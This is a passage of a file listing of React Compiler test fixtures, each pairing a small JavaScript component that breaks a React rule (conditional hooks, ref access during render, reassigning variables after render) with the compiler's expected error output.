  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.call-args-destructuring-asignment-complex.js",
    "content": "function Component(props) {\n  let x = makeObject();\n  x.foo(([[x]] = makeObject()));\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.capitalized-function-call-aliased.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoCapitalizedCalls\nfunction Foo() {\n  let x = Bar;\n  x(); // ERROR\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Capitalized functions are reserved for components, which must be invoked with JSX. If this is a component, render it with JSX. Otherwise, ensure that it has no hook calls and rename it to begin with a lowercase letter. Alternatively, if you know for a fact that this function is not a component, you can allowlist it via the compiler config\n\nBar may be a component.\n\nerror.capitalized-function-call-aliased.ts:4:2\n  2 | function Foo() {\n  3 |   let x = Bar;\n> 4 |   x(); // ERROR\n    |   ^^^ Capitalized functions are reserved for components, which must be invoked with JSX. If this is a component, render it with JSX. Otherwise, ensure that it has no hook calls and rename it to begin with a lowercase letter. Alternatively, if you know for a fact that this function is not a component, you can allowlist it via the compiler config\n  5 | }\n  6 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.capitalized-function-call-aliased.js",
    "content": "// @validateNoCapitalizedCalls\nfunction Foo() {\n  let x = Bar;\n  x(); // ERROR\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.capitalized-function-call.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoCapitalizedCalls\nfunction Component() {\n  const x = SomeFunc();\n\n  return x;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Capitalized functions are reserved for components, which must be invoked with JSX. If this is a component, render it with JSX. Otherwise, ensure that it has no hook calls and rename it to begin with a lowercase letter. Alternatively, if you know for a fact that this function is not a component, you can allowlist it via the compiler config\n\nSomeFunc may be a component.\n\nerror.capitalized-function-call.ts:3:12\n  1 | // @validateNoCapitalizedCalls\n  2 | function Component() {\n> 3 |   const x = SomeFunc();\n    |             ^^^^^^^^^^ Capitalized functions are reserved for components, which must be invoked with JSX. If this is a component, render it with JSX. Otherwise, ensure that it has no hook calls and rename it to begin with a lowercase letter. Alternatively, if you know for a fact that this function is not a component, you can allowlist it via the compiler config\n  4 |\n  5 |   return x;\n  6 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.capitalized-function-call.js",
    "content": "// @validateNoCapitalizedCalls\nfunction Component() {\n  const x = SomeFunc();\n\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.capitalized-method-call.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateNoCapitalizedCalls\nfunction Component() {\n  const x = someGlobal.SomeFunc();\n\n  return x;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Capitalized functions are reserved for components, which must be invoked with JSX. If this is a component, render it with JSX. Otherwise, ensure that it has no hook calls and rename it to begin with a lowercase letter. Alternatively, if you know for a fact that this function is not a component, you can allowlist it via the compiler config\n\nSomeFunc may be a component.\n\nerror.capitalized-method-call.ts:3:12\n  1 | // @validateNoCapitalizedCalls\n  2 | function Component() {\n> 3 |   const x = someGlobal.SomeFunc();\n    |             ^^^^^^^^^^^^^^^^^^^^^ Capitalized functions are reserved for components, which must be invoked with JSX. If this is a component, render it with JSX. Otherwise, ensure that it has no hook calls and rename it to begin with a lowercase letter. Alternatively, if you know for a fact that this function is not a component, you can allowlist it via the compiler config\n  4 |\n  5 |   return x;\n  6 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.capitalized-method-call.js",
    "content": "// @validateNoCapitalizedCalls\nfunction Component() {\n  const x = someGlobal.SomeFunc();\n\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.capture-ref-for-mutation.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {useRef} from 'react';\nimport {addOne} from 'shared-runtime';\n\nfunction useKeyCommand() {\n  const currentPosition = useRef(0);\n  const handleKey = direction => () => {\n    const position = currentPosition.current;\n    const nextPosition = direction === 'left' ? addOne(position) : position;\n    currentPosition.current = nextPosition;\n  };\n  const moveLeft = {\n    handler: handleKey('left')(),\n  };\n  const moveRight = {\n    handler: handleKey('right')(),\n  };\n  return [moveLeft, moveRight];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useKeyCommand,\n  params: [],\n};\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.capture-ref-for-mutation.ts:12:13\n  10 |   };\n  11 |   const moveLeft = {\n> 12 |     handler: handleKey('left')(),\n     |              ^^^^^^^^^^^^^^^^^ This function accesses a ref value\n  13 |   };\n  14 |   const moveRight = {\n  15 |     handler: handleKey('right')(),\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.capture-ref-for-mutation.ts:15:13\n  13 |   };\n  14 |   const moveRight = {\n> 15 |     handler: handleKey('right')(),\n     |              ^^^^^^^^^^^^^^^^^^ This function accesses a ref value\n  16 |   };\n  17 |   return [moveLeft, moveRight];\n  18 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.capture-ref-for-mutation.tsx",
    "content": "import {useRef} from 'react';\nimport {addOne} from 'shared-runtime';\n\nfunction useKeyCommand() {\n  const currentPosition = useRef(0);\n  const handleKey = direction => () => {\n    const position = currentPosition.current;\n    const nextPosition = direction === 'left' ? addOne(position) : position;\n    currentPosition.current = nextPosition;\n  };\n  const moveLeft = {\n    handler: handleKey('left')(),\n  };\n  const moveRight = {\n    handler: handleKey('right')(),\n  };\n  return [moveLeft, moveRight];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useKeyCommand,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.conditional-hook-unknown-hook-react-namespace.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = null;\n  if (props.cond) {\n    x = React.useNonexistentHook();\n  }\n  return x;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.conditional-hook-unknown-hook-react-namespace.ts:4:8\n  2 |   let x = null;\n  3 |   if (props.cond) {\n> 4 |     x = React.useNonexistentHook();\n    |         ^^^^^^^^^^^^^^^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  5 |   }\n  6 |   return x;\n  7 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.conditional-hook-unknown-hook-react-namespace.js",
    "content": "function Component(props) {\n  let x = null;\n  if (props.cond) {\n    x = React.useNonexistentHook();\n  }\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.conditional-hooks-as-method-call.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  let x = null;\n  if (props.cond) {\n    x = Foo.useFoo();\n  }\n  return x;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n\nerror.conditional-hooks-as-method-call.ts:4:8\n  2 |   let x = null;\n  3 |   if (props.cond) {\n> 4 |     x = Foo.useFoo();\n    |         ^^^^^^^^^^ Hooks must always be called in a consistent order, and may not be called conditionally. See the Rules of Hooks (https://react.dev/warnings/invalid-hook-call-warning)\n  5 |   }\n  6 |   return x;\n  7 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.conditional-hooks-as-method-call.js",
    "content": "function Component(props) {\n  let x = null;\n  if (props.cond) {\n    x = Foo.useFoo();\n  }\n  return x;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.context-variable-only-chained-assign.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity, invoke} from 'shared-runtime';\n\nfunction foo() {\n  let x = 2;\n  const fn1 = () => {\n    const copy1 = (x = 3);\n    return identity(copy1);\n  };\n  const fn2 = () => {\n    const copy2 = (x = 4);\n    return [invoke(fn1), copy2, identity(copy2)];\n  };\n  return invoke(fn2);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot reassign variable after render completes\n\nReassigning `x` after render has completed can cause inconsistent behavior on subsequent renders. Consider using state instead.\n\nerror.context-variable-only-chained-assign.ts:10:19\n   8 |   };\n   9 |   const fn2 = () => {\n> 10 |     const copy2 = (x = 4);\n     |                    ^ Cannot reassign `x` after render completes\n  11 |     return [invoke(fn1), copy2, identity(copy2)];\n  12 |   };\n  13 |   return invoke(fn2);\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.context-variable-only-chained-assign.js",
    "content": "import {identity, invoke} from 'shared-runtime';\n\nfunction foo() {\n  let x = 2;\n  const fn1 = () => {\n    const copy1 = (x = 3);\n    return identity(copy1);\n  };\n  const fn2 = () => {\n    const copy2 = (x = 4);\n    return [invoke(fn1), copy2, identity(copy2)];\n  };\n  return invoke(fn2);\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.declare-reassign-variable-in-function-declaration.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  let x = null;\n  function foo() {\n    x = 9;\n  }\n  const y = bar(foo);\n  return <Child y={y} />;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot reassign variable after render completes\n\nReassigning `x` after render has completed can cause inconsistent behavior on subsequent renders. Consider using state instead.\n\nerror.declare-reassign-variable-in-function-declaration.ts:4:4\n  2 |   let x = null;\n  3 |   function foo() {\n> 4 |     x = 9;\n    |     ^ Cannot reassign `x` after render completes\n  5 |   }\n  6 |   const y = bar(foo);\n  7 |   return <Child y={y} />;\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.declare-reassign-variable-in-function-declaration.js",
    "content": "function Component() {\n  let x = null;\n  function foo() {\n    x = 9;\n  }\n  const y = bar(foo);\n  return <Child y={y} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.default-param-accesses-local.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(\n  x,\n  y = () => {\n    return x;\n  }\n) {\n  return y();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nTodo: (BuildHIR::node.lowerReorderableExpression) Expression type `ArrowFunctionExpression` cannot be safely reordered\n\nerror.default-param-accesses-local.ts:3:6\n  1 | function Component(\n  2 |   x,\n> 3 |   y = () => {\n    |       ^^^^^^^\n> 4 |     return x;\n    | ^^^^^^^^^^^^^\n> 5 |   }\n    | ^^^^ (BuildHIR::node.lowerReorderableExpression) Expression type `ArrowFunctionExpression` cannot be safely reordered\n  6 | ) {\n  7 |   return y();\n  8 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.default-param-accesses-local.js",
    "content": "function Component(\n  x,\n  y = () => {\n    return x;\n  }\n) {\n  return y();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.dont-hoist-inline-reference.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity} from 'shared-runtime';\nfunction useInvalid() {\n  const x = identity(x);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useInvalid,\n  params: [],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nTodo: [hoisting] EnterSSA: Expected identifier to be defined before being used\n\nIdentifier x$1 is undefined.\n\nerror.dont-hoist-inline-reference.ts:3:2\n  1 | import {identity} from 'shared-runtime';\n  2 | function useInvalid() {\n> 3 |   const x = identity(x);\n    |   ^^^^^^^^^^^^^^^^^^^^^^ [hoisting] EnterSSA: Expected identifier to be defined before being used\n  4 |   return x;\n  5 | }\n  6 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.dont-hoist-inline-reference.js",
    "content": "import {identity} from 'shared-runtime';\nfunction useInvalid() {\n  const x = identity(x);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useInvalid,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.fault-tolerance-reports-multiple-errors.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validateRefAccessDuringRender\n/**\n * This fixture tests fault tolerance: the compiler should report\n * multiple independent errors rather than stopping at the first one.\n *\n * Error 1: Ref access during render (ref.current)\n * Error 2: Mutation of frozen value (props)\n */\nfunction Component(props) {\n  const ref = useRef(null);\n\n  // Error: reading ref during render\n  const value = ref.current;\n\n  // Error: mutating frozen value (props, which is frozen after hook call)\n  props.items = [];\n\n  return <div>{value}</div>;\n}\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: This value cannot be modified\n\nModifying component props or hook arguments is not allowed. Consider using a local variable instead.\n\nerror.fault-tolerance-reports-multiple-errors.ts:16:2\n  14 |\n  15 |   // Error: mutating frozen value (props, which is frozen after hook call)\n> 16 |   props.items = [];\n     |   ^^^^^ value cannot be modified\n  17 |\n  18 |   return <div>{value}</div>;\n  19 | }\n\nError: Cannot access refs during render\n\nReact refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).\n\nerror.fault-tolerance-reports-multiple-errors.ts:13:16\n  11 |\n  12 |   // Error: reading ref during render\n> 13 |   const value = ref.current;\n     |                 ^^^^^^^^^^^ Cannot access ref value during render\n  14 |\n  15 |   // Error: mutating frozen value (props, which is frozen after hook call)\n  16 |   props.items = [];\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.fault-tolerance-reports-multiple-errors.js",
    "content": "// @validateRefAccessDuringRender\n/**\n * This fixture tests fault tolerance: the compiler should report\n * multiple independent errors rather than stopping at the first one.\n *\n * Error 1: Ref access during render (ref.current)\n * Error 2: Mutation of frozen value (props)\n */\nfunction Component(props) {\n  const ref = useRef(null);\n\n  // Error: reading ref during render\n  const value = ref.current;\n\n  // Error: mutating frozen value (props, which is frozen after hook call)\n  props.items = [];\n\n  return <div>{value}</div>;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.function-expression-references-variable-its-assigned-to.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component() {\n  let callback = () => {\n    callback = null;\n  };\n  return <div onClick={callback} />;\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: Cannot reassign variable after render completes\n\nReassigning `callback` after render has completed can cause inconsistent behavior on subsequent renders. Consider using state instead.\n\nerror.function-expression-references-variable-its-assigned-to.ts:3:4\n  1 | function Component() {\n  2 |   let callback = () => {\n> 3 |     callback = null;\n    |     ^^^^^^^^ Cannot reassign `callback` after render completes\n  4 |   };\n  5 |   return <div onClick={callback} />;\n  6 | }\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.function-expression-references-variable-its-assigned-to.js",
    "content": "function Component() {\n  let callback = () => {\n    callback = null;\n  };\n  return <div onClick={callback} />;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.handle-unexpected-exception-pipeline.expect.md",
    "content": "\n## Input\n\n```javascript\n// @throwUnknownException__testonly:true\n\nfunction Component() {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n\n```\n\n\n## Error\n\n```\nunexpected error\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.handle-unexpected-exception-pipeline.ts",
    "content": "// @throwUnknownException__testonly:true\n\nfunction Component() {}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hoist-optional-member-expression-with-conditional-optional.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies\nimport {ValidateMemoization} from 'shared-runtime';\nfunction Component(props) {\n  const data = useMemo(() => {\n    const x = [];\n    x.push(props?.items);\n    if (props.cond) {\n      x.push(props?.items);\n    }\n    return x;\n  }, [props?.items, props.cond]);\n  return (\n    <ValidateMemoization inputs={[props?.items, props.cond]} output={data} />\n  );\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `props.items`, but the source dependencies were [props?.items, props.cond]. Inferred different dependency than source.\n\nerror.hoist-optional-member-expression-with-conditional-optional.ts:4:23\n   2 | import {ValidateMemoization} from 'shared-runtime';\n   3 | function Component(props) {\n>  4 |   const data = useMemo(() => {\n     |                        ^^^^^^^\n>  5 |     const x = [];\n     | ^^^^^^^^^^^^^^^^^\n>  6 |     x.push(props?.items);\n     | ^^^^^^^^^^^^^^^^^\n>  7 |     if (props.cond) {\n     | ^^^^^^^^^^^^^^^^^\n>  8 |       x.push(props?.items);\n     | ^^^^^^^^^^^^^^^^^\n>  9 |     }\n     | ^^^^^^^^^^^^^^^^^\n> 10 |     return x;\n     | ^^^^^^^^^^^^^^^^^\n> 11 |   }, [props?.items, props.cond]);\n     | ^^^^ Could not preserve existing manual memoization\n  12 |   return (\n  13 |     <ValidateMemoization inputs={[props?.items, props.cond]} output={data} />\n  14 |   );\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hoist-optional-member-expression-with-conditional-optional.js",
    "content": "// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies\nimport {ValidateMemoization} from 'shared-runtime';\nfunction Component(props) {\n  const data = useMemo(() => {\n    const x = [];\n    x.push(props?.items);\n    if (props.cond) {\n      x.push(props?.items);\n    }\n    return x;\n  }, [props?.items, props.cond]);\n  return (\n    <ValidateMemoization inputs={[props?.items, props.cond]} output={data} />\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hoist-optional-member-expression-with-conditional.expect.md",
    "content": "\n## Input\n\n```javascript\n// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies\nimport {ValidateMemoization} from 'shared-runtime';\nfunction Component(props) {\n  const data = useMemo(() => {\n    const x = [];\n    x.push(props?.items);\n    if (props.cond) {\n      x.push(props.items);\n    }\n    return x;\n  }, [props?.items, props.cond]);\n  return (\n    <ValidateMemoization inputs={[props?.items, props.cond]} output={data} />\n  );\n}\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nCompilation Skipped: Existing memoization could not be preserved\n\nReact Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `props.items`, but the source dependencies were [props?.items, props.cond]. Inferred different dependency than source.\n\nerror.hoist-optional-member-expression-with-conditional.ts:4:23\n   2 | import {ValidateMemoization} from 'shared-runtime';\n   3 | function Component(props) {\n>  4 |   const data = useMemo(() => {\n     |                        ^^^^^^^\n>  5 |     const x = [];\n     | ^^^^^^^^^^^^^^^^^\n>  6 |     x.push(props?.items);\n     | ^^^^^^^^^^^^^^^^^\n>  7 |     if (props.cond) {\n     | ^^^^^^^^^^^^^^^^^\n>  8 |       x.push(props.items);\n     | ^^^^^^^^^^^^^^^^^\n>  9 |     }\n     | ^^^^^^^^^^^^^^^^^\n> 10 |     return x;\n     | ^^^^^^^^^^^^^^^^^\n> 11 |   }, [props?.items, props.cond]);\n     | ^^^^ Could not preserve existing manual memoization\n  12 |   return (\n  13 |     <ValidateMemoization inputs={[props?.items, props.cond]} output={data} />\n  14 |   );\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hoist-optional-member-expression-with-conditional.js",
    "content": "// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies\nimport {ValidateMemoization} from 'shared-runtime';\nfunction Component(props) {\n  const data = useMemo(() => {\n    const x = [];\n    x.push(props?.items);\n    if (props.cond) {\n      x.push(props.items);\n    }\n    return x;\n  }, [props?.items, props.cond]);\n  return (\n    <ValidateMemoization inputs={[props?.items, props.cond]} output={data} />\n  );\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hoisting-simple-function-declaration.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction hoisting() {\n  function bar() {\n    return x;\n  }\n  return baz(); // OK: FuncDecls are HoistableDeclarations that have both declaration and value hoisting\n  function baz() {\n    return bar();\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [],\n  isComponent: false,\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nTodo: Support functions with unreachable code that may contain hoisted declarations\n\nerror.hoisting-simple-function-declaration.ts:6:2\n   4 |   }\n   5 |   return baz(); // OK: FuncDecls are HoistableDeclarations that have both declaration and value hoisting\n>  6 |   function baz() {\n     |   ^^^^^^^^^^^^^^^^\n>  7 |     return bar();\n     | ^^^^^^^^^^^^^^^^^\n>  8 |   }\n     | ^^^^ Support functions with unreachable code that may contain hoisted declarations\n   9 | }\n  10 |\n  11 | export const FIXTURE_ENTRYPOINT = {\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hoisting-simple-function-declaration.js",
    "content": "function hoisting() {\n  function bar() {\n    return x;\n  }\n  return baz(); // OK: FuncDecls are HoistableDeclarations that have both declaration and value hoisting\n  function baz() {\n    return bar();\n  }\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: hoisting,\n  params: [],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-call-freezes-captured-identifier.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableTransitivelyFreezeFunctionExpressions\nimport {setPropertyByKey, Stringify, useIdentity} from 'shared-runtime';\n\nfunction Foo({count}) {\n  const x = {value: 0};\n  /**\n   * After this custom hook call, it's no longer valid to mutate x.\n   */\n  const cb = useIdentity(() => {\n    setPropertyByKey(x, 'value', count);\n  });\n\n  x.value += count;\n  return <Stringify x={x} cb={cb} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{count: 1}],\n};\n\n```\n\n\n## Error\n\n```\nFound 1 error:\n\nError: This value cannot be modified\n\nModifying a value previously passed as an argument to a hook is not allowed. Consider moving the modification before calling the hook.\n\nerror.hook-call-freezes-captured-identifier.ts:13:2\n  11 |   });\n  12 |\n> 13 |   x.value += count;\n     |   ^ value cannot be modified\n  14 |   return <Stringify x={x} cb={cb} />;\n  15 | }\n  16 |\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-call-freezes-captured-identifier.tsx",
    "content": "// @enableTransitivelyFreezeFunctionExpressions\nimport {setPropertyByKey, Stringify, useIdentity} from 'shared-runtime';\n\nfunction Foo({count}) {\n  const x = {value: 0};\n  /**\n   * After this custom hook call, it's no longer valid to mutate x.\n   */\n  const cb = useIdentity(() => {\n    setPropertyByKey(x, 'value', count);\n  });\n\n  x.value += count;\n  return <Stringify x={x} cb={cb} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{count: 1}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-call-freezes-captured-memberexpr.expect.md",
    "content": "\n## Input\n\n```javascript\n// @enableTransitivelyFreezeFunctionExpressions\nimport {mutate, Stringify, useIdentity} from 'shared-runtime';\n\nfunction Foo({count}) {\n  const x = {value: 0};\n  /**\n   * After this custom hook call, it's no longer valid to mutate x.\n   */\n  const cb = useIdentity(() => {\n    x.value++;\n  });\n\n  x.value += count;\n  return <Stringify x={x} cb={cb} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{count: 1}],\n};\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: This value cannot be modified\n\nModifying a value previously passed as an argument to a hook is not allowed. Consider moving the modification before calling the hook.\n\nerror.hook-call-freezes-captured-memberexpr.ts:13:2\n  11 |   });\n  12 |\n> 13 |   x.value += count;\n     |   ^ value cannot be modified\n  14 |   return <Stringify x={x} cb={cb} />;\n  15 | }\n  16 |\n\nError: Cannot modify local variables after render completes\n\nThis argument is a function which may reassign or mutate `x` after render, which can cause inconsistent behavior on subsequent renders. Consider using state instead.\n\nerror.hook-call-freezes-captured-memberexpr.ts:9:25\n   7 |    * After this custom hook call, it's no longer valid to mutate x.\n   8 |    */\n>  9 |   const cb = useIdentity(() => {\n     |                          ^^^^^^^\n> 10 |     x.value++;\n     | ^^^^^^^^^^^^^^\n> 11 |   });\n     | ^^^^ This function may (indirectly) reassign or modify `x` after render\n  12 |\n  13 |   x.value += count;\n  14 |   return <Stringify x={x} cb={cb} />;\n\nerror.hook-call-freezes-captured-memberexpr.ts:10:4\n   8 |    */\n   9 |   const cb = useIdentity(() => {\n> 10 |     x.value++;\n     |     ^ This modifies `x`\n  11 |   });\n  12 |\n  13 |   x.value += count;\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-call-freezes-captured-memberexpr.jsx",
    "content": "// @enableTransitivelyFreezeFunctionExpressions\nimport {mutate, Stringify, useIdentity} from 'shared-runtime';\n\nfunction Foo({count}) {\n  const x = {value: 0};\n  /**\n   * After this custom hook call, it's no longer valid to mutate x.\n   */\n  const cb = useIdentity(() => {\n    x.value++;\n  });\n\n  x.value += count;\n  return <Stringify x={x} cb={cb} />;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [{count: 1}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-property-load-local-hook.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useFoo() {}\nuseFoo.useBar = function () {\n  return 'foo';\n};\n\nfunction Foo() {\n  let bar = useFoo.useBar;\n  return bar();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n\n```\n\n\n## Error\n\n```\nFound 2 errors:\n\nError: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n\nerror.hook-property-load-local-hook.ts:7:12\n   5 |\n   6 | function Foo() {\n>  7 |   let bar = useFoo.useBar;\n     |             ^^^^^^^^^^^^^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n   8 |   return bar();\n   9 | }\n  10 |\n\nError: Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n\nerror.hook-property-load-local-hook.ts:8:9\n   6 | function Foo() {\n   7 |   let bar = useFoo.useBar;\n>  8 |   return bar();\n     |          ^^^ Hooks may not be referenced as normal values, they must be called. See https://react.dev/reference/rules/react-calls-components-and-hooks#never-pass-around-hooks-as-regular-values\n   9 | }\n  10 |\n  11 | export const FIXTURE_ENTRYPOINT = {\n```\n          \n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.hook-property-load-local-hook.js",
    "content": "function useFoo() {}\nuseFoo.useBar = function () {\n  return 'foo';\n};\n\nfunction Foo() {\n  let bar = useFoo.useBar;\n  return bar();\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Foo,\n  params: [],\n};\n"
  },
  {
